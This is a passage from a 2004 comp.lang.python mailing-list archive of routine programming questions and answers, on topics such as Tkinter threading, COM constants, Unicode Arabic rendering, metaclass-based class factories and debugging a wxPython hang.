> (to wit, BASIC, C, C++, Delphi, and Java) to focus on Python.
>
> Now all you need are 19 others and we'll have a significant data point.
> (Signifying what?  That's what I want to know. ;-)
>
Fortran, Basic, Assembly many times, Pascal, C, Objective-C, Object Pascal,
C++, Java and Python.
Yes Python beats the rest wrt productivity for most of my applications :-)

Now do we need 18 more for a SIGNIFICANT data point?

regards Gerrit
--
www.extra.research.philips.com/natlab/sysarch/





From jarrodhroberson at yahoo.com  Tue Feb 10 13:52:51 2004
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
Date: 10 Feb 2004 10:52:51 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>	<mailman.1246.1076000375.12720.python-list@python.org>	<c718a6cf.0402071225.ea09de6@posting.google.com>
	<mailman.1360.1076312406.12720.python-list@python.org>
Message-ID: <c718a6cf.0402101052.1de1749e@posting.google.com>

Paul Prescod <paul at prescod.net> wrote in message news:<mailman.1360.1076312406.12720.python-list at python.org>...
> Y2KYZFR1 wrote:
> 
> > 
> > 
> > Actually PHP can be used as a stand alone general scripting language,
> > just like Python can. Python is much more powerful though.
> 
> This is true in theory but it is very rare in practice to use PHP in a 
> project that has nothing to do with web templating.
> 
>   Paul Prescod

funny there are lots of PRACTICAL examples of using PHP standalone on SourceForge!


From theller at python.net  Tue Feb 17 11:52:15 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 17 Feb 2004 17:52:15 +0100
Subject: Hello World with pywin
References: <un07hzvfx.fsf@NOSPAM2.ericsson.com>
	<hgrYb.26489$PP1.22299@newssvr25.news.prodigy.com>
Message-ID: <vfm5fy2o.fsf@python.net>

"Dennis Reinhardt" <DennisR at dair.com> writes:

>> Can someone point me to Hello World examples with a Windows window,
>> some text, and one or two buttons. The Tk logo should not be visible,
>> so I suppose that I should use pywin or win32ui or something similar.
>
> I did a hello world using a browser window without a gui
> http://www.spamai.com/hello/hello.zip
>
> AFIK, this is the smallest working Python download at 382 K.

This 'program'

"""
import os
from ctypes import windll

windll.user32.MessageBoxA(None,
                          "Current directory is %s" % os.getcwd(),
                          "Hello from python", 0)
"""

can be run through py2exe and the result packed (after running UPX over
it) into a 433 k zipfile. It uses the python 2.3 dll, which is somewhat
larger than 2.2.

Thomas


From seberino at spawar.navy.mil  Tue Feb 24 17:43:03 2004
From: seberino at spawar.navy.mil (Christian Seberino)
Date: 24 Feb 2004 14:43:03 -0800
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
Message-ID: <bf23f78f.0402241443.678bf6c8@posting.google.com>

How does Ruby compare to Python?? How good is DESIGN of Ruby compared to Python?

Python's design is godly.  I'm wondering if Ruby's is godly too.

I've heard it has solid OOP design but then I've also heard there are

lots of weird ways to do some things kinda like Perl which is bad for me.

Any other ideas?

Thanks!

Chris


From jcarlson at nospam.uci.edu  Mon Feb 16 14:02:23 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 16 Feb 2004 11:02:23 -0800
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <c0qc5j$2g52$1@news.hgc.com.hk>
References: <c0qc5j$2g52$1@news.hgc.com.hk>
Message-ID: <c0r48l$2m1$1@news.service.uci.edu>

>     Are there any utility that can be call by python to create self 
> extracting zip file. I'm now using the powerarchiever. But the command 
> line options aren't flexible enough. Basically, I would like to create a 
> self extracting zip with default file path extraction and force 
> over-write. The powerArchiever just don't let me call it unless I'm 
> using the GUI.
>     Any idea, experience and suggestion are welcome.
>     Thank you.

You are in the wrong newsgroup.

To answer your question, any command-line utility can be called with 
os.system.

Pick any command-line utility you want.  I prefer Info-zip:
http://www.info-zip.org/pub/infozip/

  - Josiah


From timr at probo.com  Thu Feb 26 01:09:03 2004
From: timr at probo.com (Tim Roberts)
Date: Wed, 25 Feb 2004 22:09:03 -0800
Subject: Constants from Excel?
Message-ID: <873r30lcjgpgcjqd3ju8j0b02ouh2875df@4ax.com>

I've done a lot of COM work from Python, including control of the Office
applications.  However, I have a question that I've never been able to
answer.

Is there a way to programmatically fetch the values of COM constants?  For
example, in my Excel apps, I have a section like this, that I have gleaned
from multiple Google posts:

  xlPortrait = 1   # orientation constants
  xlLandscape = 2
  xlWKS = 4        # SaveAs format constants
  xlExcel9795 = 43
  xlHAlignRight = -4152
  xlHAlignCenter = -4108

This works, but it'd be nicer to create an instance of, say,
Excel.Constants and pull the values from there.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From opstad at batnet.com  Sat Feb 21 11:59:59 2004
From: opstad at batnet.com (David Opstad)
Date: Sat, 21 Feb 2004 08:59:59 -0800
Subject: Linguistically correct Python text rendering
Message-ID: <opstad-0804D8.08595821022004@news-central.ash.giganews.com>

I have a question about text rendering I'm hoping someone here can 
answer. Is there a way of doing linguistically correct rendering of 
Unicode strings in Python? In simple cases like Latin or Japanese I can 
just print the string and see the correct results. However, I don't know 
how to get Python to do the right thing for writing systems which 
require contextual processing.

For example, let's say I create this Unicode string in Arabic:

string1 = u"\u0644\u062e\u0645"   # lam khah meem

If I print string1, I get just the characters I specified above, which 
is not correct rendering behavior for Arabic. In the simple case, I 
should get an output string where the order is reversed, and the codes 
have been changed into their contextually correct forms: initial lam 
(\ufedf), medial khah (\ufea8) and final meem (\ufee2). Optionally, I 
could even ask for a single ligature combining all three of these; 
Unicode even encodes this at \ufd85.

The situation is even more complicated for writing systems like 
Devanagari (used in Hindi and Marathi). In this case there are rules for 
ligatures (called "conjuncts") which are linguistically required, but 
unencoded by Unicode. Technology was developed 15 years ago to deal with 
this: fonts contain tables of extra information allowing access to the 
correct conjunct glyphs at rendering time, even if they're unencoded.

Apple has software that deals with correctly rendering text in cases 
like this (ATSUI); Microsoft does as well. IBM provides the ICU software 
classes for this kind of rendering, and I believe FreeType has made a 
start on dealing with AAT and OpenType fonts as well. So my question is 
this: how do we get this functionality integrated into Python? I'd love 
to be able to print any Unicode string and have it come out 
linguistically correctly, even if I have to do a little extra formatting 
(e.g. something like adding a new string-formatting conversion character 
%t for typographically rich output).

Any ideas?

Dave Opstad


From fumanchu at amor.org  Mon Feb 23 12:26:31 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 23 Feb 2004 09:26:31 -0800
Subject: Typecasting
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D91@opus.amorhq.net>

Jani Yusef wrote:
> Wow, YAMQFAI (Yet Another Moronic Question From An Indian).

-1.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From nospam-deets at web.de  Thu Feb 19 10:19:35 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 19 Feb 2004 16:19:35 +0100
Subject: multiply utple or list
References: <4034c694$0$706$5402220f@news.sunrise.ch>
	<c12i6m$1ddmkb$1@ID-141451.news.uni-berlin.de>
Message-ID: <c12kbi$1d1bmt$1@ID-111250.news.uni-berlin.de>

>  >>> import operator
>  >>> [ operator.mul(x,2) for x in (4,5)]

Why not simply * ?

[ x * 2 for x in (4,5)]

And you might surround it by tuple to gain a tuple

tuple([ x * 2 for x in (4,5)])

Another way would be to use Numeric

import Numeric
a = Numeric.array((10,2), Numeric.Float32)
a = a * 2


-- 
Regards,

Diez B. Roggisch


From michael at foord.net  Sat Feb 21 03:39:12 2004
From: michael at foord.net (Fuzzyman)
Date: 21 Feb 2004 00:39:12 -0800
Subject: Python is too fast !
Message-ID: <8089854e.0402210039.5b761d0f@posting.google.com>

I've written an anagram finder that uses recursion and a large
wordlist to find anagrams of input words you give it (e.g. 'michael
food' = 'cool firm head') ;-)

http://www.voidspace.org.uk/atlantibots/nanagram.html

It has a nice Tkinter front end and works very well, *except* if you
give it a long input it takes a long time to process (as might be
expected) - ten minutes or more sometimes before it returns with the
answers.

I've done a CGI version which returns the answers *whilst* it is
finding them ( http://www.voidspace.xennos.com/cgi-bin/Nanagram-CGI.py
) - which is a much slower method, but less boring to watch.

So I've coded an option - which opens a temporary window with a
Tkinter text widget in a frame and outputs the answers to the window
as it finds them. The trouble is that the recursion is very processor
intensive and it 'freezes' the window and it doesn't update. (I'm
running on an AMD XP1700 with Win XP).

*If* I run this from IDLE and put a print statement into the loop as
well as output to the text widget, then the print statement seems to
free up the widget and it works as it should. I suspect that the print
statement is making system calls which free up the system long enough
to update the screen. When I run it without a console - the benefit is
lost and it freezes again. However I've tried adding a sleep statement
( 0.001, 0.01 and even 0.1 of a second) and this has no effect (other
than slowing down the loop without unfreezing the window).

I'm looking for another suggestion to 'waste time' - preferably in a
'non-processor-intensive' way, that returns control to the sytem for
an instant ? (also preferably cross platform).

If you have a suggestion it would be helpful if you could e-mail it to
me at fuzzyman AT atlantibots DOT org DOT uk as well as post it here -
because I only have intermittent access to the net.


MANY THANKS


Fuzzyman

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From gumuz at looze.net  Wed Feb  4 05:49:50 2004
From: gumuz at looze.net (Guyon Morée)
Date: Wed, 4 Feb 2004 11:49:50 +0100
Subject: diff module
Message-ID: <4020ce33$0$278$4d4ebb8e@news.nl.uu.net>

hi all,

does anybody know of a python module which allows me to compare two pieces
of 'text' and get the results in a 'diff' way, so I can build a nice gui
around it?


thanx,

Guyon




From eric.brunel at N0SP4M.com  Thu Feb 12 08:24:05 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Thu, 12 Feb 2004 14:24:05 +0100
Subject: tkinter, threads and asyncore together
References: <402A7E7D.C423D056@noaa.gov> <c0e4g5$mug$1@news.service.uci.edu>
Message-ID: <c0fuah$3hd$1@news-reader4.wanadoo.fr>

Josiah Carlson wrote:
> george.trojan at noaa.gov wrote:
> 
>> My application consists of Tkinter GUI that has to communicate with a
>> remote
>> server. The communication is bi-directional: the GUI responds to remote
>> requests and user actions uch as pressing a button) should send messages
>>
>> to the server. I want to have the network interface implemented as a
>> separate
>> thread, as it may take a while to proccess incoming messages. My initial
>> approach is the following
>>
>>  ------   Queue   --------------------
>> |      | <------ |      asyncore      |        socket
>> | GUI  |    ?    |dispatcher_with_send| <------------------>  server
>> |      | ------> |                    |
>>  ------           --------------------
>>
>> My question is how to communicate with asyncore (to send a message, or
>> end the thread)? I started with creating an additional dispatcher class
>> using unix domain socket, but is seems wrong, why use sockets within the
>> same process? I might try file_dispatcher around a pipe, but maybe I
>> should use different design altogether.
>>
>> George
>>
> 
> #to control asyncore
> while 1:
>     asyncore.loop(.1)
>     if not fromgui.empty():
>         #handle messages from GUI
> 
> Another option is to just have one thread, with the mainloop of Tkinter 
> do a single asyncore.loop(0) call every .01 seconds or so.  In wxPython 
> I'd just use a wxTimer, I don't know if Tkinter has an equivalent.

Yep: use the after method to call a function from the Tkinter main loop after a 
given delay. See 
http://www.pythonware.com/library/tkinter/introduction/x9507-alarm-handlers-and-other.htm

HTH
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From Greg.Lindstrom at acxiom.com  Thu Feb 12 13:05:09 2004
From: Greg.Lindstrom at acxiom.com (Lindstrom Greg - glinds)
Date: Thu, 12 Feb 2004 12:05:09 -0600
Subject: Python and MS Exchange
Message-ID: <ABEE81BE08ADD311B6A1009027DE908D16A94FA4@conmsx03.corp.acxiom.net>

I'm using python 2.3 and Windows 2000 "Professional" to access a Microsoft
Exchange Server to monitor messages and perform various tasks around the
office.  My little program is attracted quite a bit of attention and I have
been asked to add some features, but I don't know how to do a couple of
things.  Can anyone either help me out with the details, or point me to
where I can get the information?  Here's my task list:

1.  Create a folder for the mailbox.  For example, I would like to have a
"Processed" folder where I can move messages once they have been processed.

2.  How can I check to see if a folder exists?

3.  Can I access the allotted size of a folder to determine if I have room
to post messages?

4.  How do I move a message to the folder I just created?

Thanks for any help you can pass my way.
--greg

Greg Lindstrom, IBCATS Development
Acxiom Corporation
(501) 342-1626      GregLindstrom at acxiom.com

We who cut mere stones must always be envisioning cathedrals. -- Quarry
Worker's Creed 





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confidential, is intended only for the use of the recipient
named above, and may be legally privileged.
If the reader of this message is not the intended
recipient, you are hereby notified that any dissemination, 
distribution, or copying of this communication is strictly
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If you have received this communication in error,
please re-send this communication to the sender and
delete the original message or any copy of it from your
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From peter at engcorp.com  Fri Feb 20 09:53:04 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 20 Feb 2004 09:53:04 -0500
Subject: int vs. float in benchmark testing
References: <c152au$t58$1@solaris.cc.vt.edu>
Message-ID: <40361F50.3D6153C8@engcorp.com>

Bart Nessux wrote:
> 
> Would adding .0 to each of the numbers below turn this into a floating
> point test? Seems too easy.
> 
> def cpu_test():
>     import time
>     start = time.time()
>     x = 0                               # 0.0
>     while x < 9999999:                  # 9999999.0
>        x = x + 1                                # 1.0
>        print x
>     print (time.time()-start)/60
> cpu_test()

Uh, yes it would, as far as it goes, but are you sure you're
learning something useful by doing so?  Floats are always slower
than ints, but you really shouldn't be concerned about speed
anyway.

The way to decide which to use is this:  if you need floating
point because you are doing math that involves fractional values,
then use floating point.  Otherwise use ints.  End of story.
No performance considerations in most code.

-Peter


From paul at boddie.net  Fri Feb 13 03:49:03 2004
From: paul at boddie.net (Paul Boddie)
Date: 13 Feb 2004 00:49:03 -0800
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>	<402931E4.C1E50E92@engcorp.com>
	<c0beqb$2uv$00$1@news.t-online.com>	<40294322.7AF2C6D7@engcorp.com>
	<c0bh63$jp2$05$1@news.t-online.com>	<40294D36.B0AEE3C4@engcorp.com>
	<c0do15$tge$02$1@news.t-online.com>	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<d116fbae.0402121130.6561b358@posting.google.com>
Message-ID: <23891c90.0402130049.e74c2e1@posting.google.com>

uche at ogbuji.net (Uche Ogbuji) wrote in message news:<d116fbae.0402121130.6561b358 at posting.google.com>...
> Stuart Bishop <stuart.b at commonground.com.au> wrote in message news:<mailman.6.1076585559.698.python-list at python.org>...
> > 
> > Classifying a lack of Unicode support in an XML parser as a
> > 'bug' is ridiculous.
> 
> My point exactly.  It would be like calling it a "bug" if something
> that called itself Python only accepted tabs for indentation rather
> than spaces. Such a thing just simply wouldn't be Python.

I'm not sure that I can accept that particular analogy, and at least
there would be reasonable workarounds to get one's space-indented code
working under tab-only Python. A better analogy would be a version of
Python which only accepted identifiers in lower case, or which was
case-insensitive.

Meanwhile, having actually read your article (so it isn't just
speculation about what you've said on my part) I think you were
absolutely justified in pointing this issue out with PyRXP. There are
always going to be various "appendage measurement" competitions when
it comes to XML toolkit performance, but in my mind there are few
things worse in programming than suffering various elevated claims
about a piece of software whilst having to work up against some very
serious limitations. In any case, libxml2 is surely the big winner
when it comes to conformance plus performance, anyway.

Paul


From mcfletch at rogers.com  Thu Feb 26 12:01:36 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Thu, 26 Feb 2004 12:01:36 -0500
Subject: Play with classes
In-Reply-To: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
References: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
Message-ID: <403E2670.30705@rogers.com>

As another poster noted, all classes are created at run-time.  There's 
even a hook that let's you intercept the creation of a class called the 
"metaclass hook", however, to deal with the question directly before I 
go off on a tangent...

There are two major approaches you can take to elegantly composing 
classes at run-time; Factory functions and metaclasses.  Here's an 
example of the factory function approach, (which is probably most 
appropriate in your case (user is only creating new classes via GUI 
interactions, no need for ability to sub-class in Python code, no need 
for addition of newly-created methods/functions, i.e. straight 
composition)):

    def createClass( name, baseClasses, dictionary ):
        """Create a new class object and return it"""
        # reshuffle baseClasses here
        # manipulate dictionary here
        # check that name is unique here
        # register with some global registry here
        # register pickle helpers here
        if definitions.has_key( uniqueFingerprint):
            return that
        else:
            # if you were paying attention, you'll notice
            # that save for the manipulation comments we
            # just call this...
            return type( name, baseClasses, dictionary )

If, however, your users may *also* want to define these classes as part 
of Python modules (for an extension mechanism), you may want to subclass 
"type" to encode your registration/reshuffling/manipulation/etc. 
directly and then use that metaclass (sub-class of type) for each of 
your classes:

    class MetaFoo( type ):
        """Metaclass for the example code"""
        definitions = {}
        def __new__( metacls, name, bases, dictionary ):
            # reshuffle baseClasses here
            # manipulate dictionary here
            # check that name is unique here
            uniqueFingerprint = name, bases
            if metacls.definitions.has_key( uniqueFingerprint ):
                # Note: this likely *isn't* a good idea, as it can really
                # surprise your users to discover that their classes
                # are silently unified with another class! Just a demo...
                return metacls.definitions.get( uniqueFingerprint )
            else:
                result = super(MetaFoo,metacls).__new__(
                    metacls, name, bases, dictionary
                )
                metacls.definitions[ uniqueFingerprint ] = result
                # register with some global registry here
                # register pickle helpers here
                return result

    __metaclass__ = MetaFoo
    class ModeA:
        pass

    class ModeB:
        pass

    class ModeC( ModeA, ModeB ):
        pass
    class ModeD( ModeA, ModeB ):
        pass

    print MetaFoo( 'A', (), {} ) is MetaFoo( 'A', (), {} )

As noted in the comments above, likely you don't even want the effect of 
having the class-cache (too confusing for users, mostly, but I wanted 
some sort of manipulation to stick in to say "something happens here" :) 
), so there's no particular value to the metaclass version for your 
case.  I just wanted an opportunity to work on an example for my talk... 
I'm sick, I know...

Some things to keep in mind:

    * Your new class instances will *not* be pickle-able (using either
      method) unless they are registered explicitly somewhere in an
      importable module.  You will need to figure out how to ensure
      that, on unpickling, your newly-created classes are available
      (e.g. by storing their definitions in a database somewhere and
      hooking import to treat the DB as a module).
    * metaclasses are more fun :) , but they take some getting used to,
      and are probably overkill for this simple excursion into
      metaprogramming
    * The "new" module has an (ironically) older API for creating class
      objects

Have fun,
Mike

Zunbeltz Izaola wrote:

>Hi to all!
>
>I wonder if it possible (i'm sure python can do :-) ) to define classes on
>runtime. My problem (schematically) is the folowwin.
>
>The User can choise betwenn 3 property of an object.
>
>Mode, Type and Subtype.
>
>I have the following classes defined
>
>ModeA, ModeB, TypeA, TypeB, TypeC, SubtypeA, SubtypeB.
>
>Supose the user whant to combine ModeA with TypeB and SubtypeB, so I need
>something like
>
>class UserClass(ModeA, TypeB, SubtypeB):
>        pass
>
>I can define all the posibilitys different classes and the using nested
>if/else I can use the correct class, but I want to know if there is a way 
>generate in the fly and in this way there is no necesarity to change code whe
>new Modes or Types are created.
>  
>
...




From aahz at pythoncraft.com  Tue Feb 24 10:46:45 2004
From: aahz at pythoncraft.com (Aahz)
Date: 24 Feb 2004 10:46:45 -0500
Subject: Don't send e-mail to Guido (was Re: Thoughts about Python)
References: <mailman.27.1077626904.8594.python-list@python.org>
Message-ID: <c1frl5$p9i$1@panix1.panix.com>

In article <mailman.27.1077626904.8594.python-list at python.org>,
b-blochl  <bblochl2 at compuserve.de> wrote:
>
>I would recommend you to post your  thoughts directly to 
>guido at python.org. Guido is the source for a possible change. (By the 
>way, on http://www.python.org/dev/process.htmlone can find the  outline 
>of the "Python's Development Process". May be you alreay know that 
>source - than sorry, I dont wish to impose.)

Actually, that's a very bad idea.  While Guido is still the BDFL and
still very much involved in Python's development, he's also no longer
doing most of the work by himself (and hasn't for several years).  This
newsgroup/list is the best place to start discussions about things
(particularly things that all too often end up being FAQs); once they've
been hashed out some (or a lot), discussion moves to python-dev where
core developers who don't have time to read the casual discussion here
get a chance to think and talk (not necessarily in that order ;-).

The only time you should send e-mail to Guido directly is when it's
something that specifically needs his personal attention.  As a "for
example", I'm the "General Nag" for PyCon, and Guido prefers to have his
name on many of the announcements, so I send Guido reminders to post
announcements.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From maxwell at ldc.upenn.edu  Tue Feb 24 09:25:46 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: Tue, 24 Feb 2004 09:25:46 -0500
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
References: <mailman.0.1077567184.8594.python-list@python.org>
	<403A7084.D281F858@engcorp.com>
Message-ID: <c1fmt8$h00$1@sea.gmane.org>

Peter Hansen wrote:
> ctrl-D 4   EOT   END OF TRANSMISSION
> A transmission control character used to indicate the conclusion of
> the transmission of one or more texts..
>
> Why anyone would think that ought to be translated as "down" rather
> than "I'm done, bye" is unclear to me.

To this and other comments along this line, I'll just add my own (not trying
to start a flame war, just explaining what may seem an odd choice on my
part):

IMHO, there's an unfortunate juxtaposition (I won't say confusion) of two
meanings of Ctrl-D: one is the ASCII char (as above), the other is whatever
is produced by pressing the 'd' key while the key labeled 'Ctrl' is pressed.

On Lisp Machines (and if you're too young to know what those were, you're
too young), there was a whole set of special purpose keys, including a Meta
key and a Hyper key.  Their effect was similar to the Ctrl or Shift keys, in
that they modified the output of an "ordinary" key.  Most keyboards nowadays
come with an Alt key, which could be used for what I want (move the cursor
down 7 rows, or scroll half a screen, or whatever), except that it has a
different function.  And since there is no Meta or Hyper key on my keyboard,
I use the key to the left of the 'A' key (easy to reach both that and all
the alphabetic keys at the same time) as a key modifier, to do cursor
movement (^A = beginning of line, ^H = left one char, etc.).  It happens
that that modifier key is labeled "Caps Lock" on most modern keyboards.
Under Linux, I can re-map it to a special modifier key, which does not then
interfere with using the Ctrl key to produce the Ascii control chars, so I
can use ^D to kill Python.  But it's not so easy to re-map it under Windows,
and the only alternative seems to be to re-map it to be the Ctrl key.  (And
don't say that I should just use Linux--the range of standardized cursor
movement keystrokes is _far_ greater under Windows than it is under Linux
environments that I've seen.)

So the upshot of it is, I want to have a keystroke to move down a half dozen
lines _much_ more often than I want one to exit a program.  And my fingers
know Ctrl-d.

I might also point out that one can use other modifiers at the same time as
the Ctrl, e.g. Ctrl-Shift-D on my keyboard selects text for seven lines
down.  There is obviously no Ascii equivalent of this, but it's a useful
keystroke.

Peter Hansen also wrote:
> Interesting... so God didn't write the ASCII standard, obviously

No, He used Hebrew.  Duh.  (I might also point out that the Hebrew alphabet,
lacking a case distinction, would fit nicely into a 6-bit encoding, as was
used on the CDC Cyber 170 that I wrote my dissertation on.  You don't know
what a Cyber 170 is?  You _are_ too young!)

    Mike McSwell






From omission9 at invalid.email.info  Sun Feb 22 23:39:26 2004
From: omission9 at invalid.email.info (omission9)
Date: Mon, 23 Feb 2004 04:39:26 GMT
Subject: need help with bizarre error caught in debugger. execution is
 hanging
In-Reply-To: <4039352a@news.bezeqint.net>
References: <vfBZb.57526$1S1.32587@nwrddc01.gnilink.net>
	<4039352a@news.bezeqint.net>
Message-ID: <2uf_b.66535$1S1.50598@nwrddc01.gnilink.net>

Ziaran wrote:
> Why do you do
> 
> if len(self.data) <= 0:
>     return len(self.data[0])
> 
> Isn't that a sure IndexError exception?
> Maybe you catch it somewhere up the stack and so you keep it silent.
> 

That if statement just happens to be the last line before the return.
What you have stated is not what actually happens.
The actual code is
         if len(self.data) <= 0:
             return 0
         else:
             return len(self.data[0])
I guess the "else" line doesn't appear in the stack trace for whatever 
reason.
There is no doubt, however, that it is hanging on the line
return len(self.data[0])

> 
> "omission9" <omission9 at invalid.email.info> wrote in message
> news:vfBZb.57526$1S1.32587 at nwrddc01.gnilink.net...
> 
>>Any advice on the following would be much appreciated. I have thrown
>>everything I have at it and am completely stumped. I apologize for the
>>length, I have tried to be as succint as possible.
>>
>>I have a pythoncard/wxPython application. The application works well
>>except that users were reporting occasional crashes. The application
>>would simply stop and just hang. I was able to reproduce the bug
>>faithfully and ran the application in the python debugger pdb.py.
>>The trace is below and I simply cannot understand why it is hanging
>>where it is. The application gets stuck executing
>>
>>return len(self.data[0])
>>
>>This works many many times during the applications execution, indeed
>>several successful runs of this line are visible immediatley above the
>>hang. I have also printed out the value of self.data. This is a list
>>containing 12 inner lists each of length 3 at the point of the hang and
>>is never larger than that.
>>What on earth could cause this to stop the interpreter cold in its
>>tracks without an exception being thrown? CPU usage on the machine is
>>high throughout the application's execution and stays as such after the
>>"hang" begins. I eventually kill the app although I have let it run for
>>a long time and it never leaves this line.
>>For what its worth, I am using python 2.3 on windows2k.
>>
>>Anyone have idea what could be happening?
>>
>>  c:\python23\lib\site-packages\wxpython\grid.py(664)_setOORInfo()->None
>>  -> return val
>>  (Pdb) s
>>  --Return--
>>   c:\python23\lib\site-packages\wxpython\grid.py(850)__init__()->None
>>  -> self._setOORInfo(self)
>>  (Pdb) s
>>
>>
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(17)__init
> 
>>  __()
>>  -> self.data = data
>>  (Pdb) s
>>
>>
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init
> 
>>  __()
>>  -> self.colLabels = headings
>>  (Pdb) s
>>  --Return--
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init
> 
>>  __()->None
>>  -> self.colLabels = headings
>>  (Pdb) s
>>
>>
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtablegrid.py(15)__
> 
>>  init__()
>>  -> self.colsizes = colsizes
>>  (Pdb) s
>>
>>
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtablegrid.py(16)__
> 
>>  init__()
>>  -> self.SetTable(table, True)
>>  (Pdb) s
>>  --Call--
>>  c:\python23\lib\site-packages\wxpython\grid.py(993)SetTable()
>>  -> def SetTable(self, *_args, **_kwargs):
>>  (Pdb) s
>>  > c:\python23\lib\site-packages\wxpython\grid.py(994)SetTable()
>>  -> val = gridc.wxGrid_SetTable(self, *_args, **_kwargs)
>>  (Pdb) s
>>  --Call--
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(27)GetNumb
> erRows()
> 
>>  -> def GetNumberRows(self):
>>  (Pdb) s
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(28)GetNumb
> erRows()
> 
>>  -> return len(self.data)
>>  (Pdb) s
>>  --Return--
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(28)GetNumb
> erRows()->12
> 
>>  -> return len(self.data)
>>  (Pdb) s
>>  --Call--
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(30)GetNumb
> erCols()
> 
>>  -> def GetNumberCols(self):
>>  (Pdb) s
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(31)GetNumb
> erCols()
> 
>>  -> if len(self.data) <= 0:
>>  (Pdb) s
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(34)GetNumb
> erCols()
> 
>>  -> return len(self.data[0])
>>  (Pdb) s
>>--Return--
>>
>>
>>
> 
> c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(34)GetNumb
> erCols()->3
> 
>>  -> return len(self.data[0])
>>  (Pdb) s
>>
> 
> 
> 



From noemail at noemail4u.com  Fri Feb  6 16:51:01 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Fri, 06 Feb 2004 21:51:01 GMT
Subject: Best Beginner's Guide To Python?
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
	<IjHUb.32057$P17.24576@fed1read03>
Message-ID: <50a82d005386f43774c797a794a8903d@news.teranews.com>

On Thu, 5 Feb 2004 23:25:36 -0800, "sean" <sean_berry at cox.net> wrote:

...
>If you are looking for a good book... look no further than the Oreilly
>series of books on Python.  Also, I found the python book by deitel to be a
>pretty good beginning read.  As previously mentioned... the python tutorial
>on python.org is a great thing to check out as well.
...
Really?  I've seen the Dietel C++ and Java books, and did not find
them very good.  They weigh a ton and have a lot of information, but
the index wasn't very good for "random access".  Do you (or does
anyone else) know if the Python book is better than the C++/Java
books?  

If I've already gone through the OReilly books (except the cookbook)
and Dr Mertz' Text Processing, is there much/anything to be gained
from the Dietel book?
    Thanks,
        --dang


From wweston at att.net  Fri Feb 20 10:35:43 2004
From: wweston at att.net (wes weston)
Date: Fri, 20 Feb 2004 15:35:43 GMT
Subject: `If ` Q from newbie
In-Reply-To: <30875970.0402200451.2c1b0d31@posting.google.com>
References: <30875970.0402200451.2c1b0d31@posting.google.com>
Message-ID: <jPpZb.57678$hR.1254267@bgtnsc05-news.ops.worldnet.att.net>

Ian,
      It looks like the function call is returning a Token
object and that the Token object has three fields? You need
to go into the pullparser.py file and find out what "p" is -
not shown in your example. When the type of p is known,
find out out what p.get_token() is doing.



Ian Pellew wrote:
> Hi all;
> 
> As my starter into Python I have a small project using pullparser.py
> 
> My problem is testing what is coming back from a def() in
> pullparser.py
> I bet this is me not understanding something in Python.
> 
> I do
> ?..
> tk = p.get_token()
> print tk
> ??
> 
> and get:-
> 1  Token('data', '\n \n\n', None)
> 2  Token('comment', '#include virtual="/software/main/inc/warning.inc"
> ', None)
> 3  Token('data', '\n\n', None)
> 4  Token('startendtag', 'meta', [('name', 'DC.Rights'), ('content',
> 'Copyright (c) 2004 by IBM Corporation')])
> 5  Token('data', '\n', None)
> 6  Token('startendtag', 'meta', [('name', 'Security'), ('content',
> 'Public')])
> 7  Token('data', '\n', None)
> 8  Token('startendtag', 'meta', [('name', 'Robots'), ('content',
> 'index,follow')])
> 9  Token('data', '\n', None)
>     Etc.
> 
> I wanna 
> "if (tk????? is None): continue"
> 
> More generally, how do I know what is being returned from a def()? 
> 
> Pointers/Advice pls.
> 
> Regards
> Ian



From fumanchu at amor.org  Sun Feb 22 19:58:22 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sun, 22 Feb 2004 16:58:22 -0800
Subject: Help With EOF character and regular expression matching: URGENT
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D8C@opus.amorhq.net>

> I want to strip off the headers, like: To From
> Returned Path etc...

Have a look at the 'email' module in the Library.

> and also the characters that are not ASCII and also
> the characters that are between <> so as to avoid HTML
> Tags.
> I have zero experience with regular expressions
> but if you or some one can give me an idea/snippet I
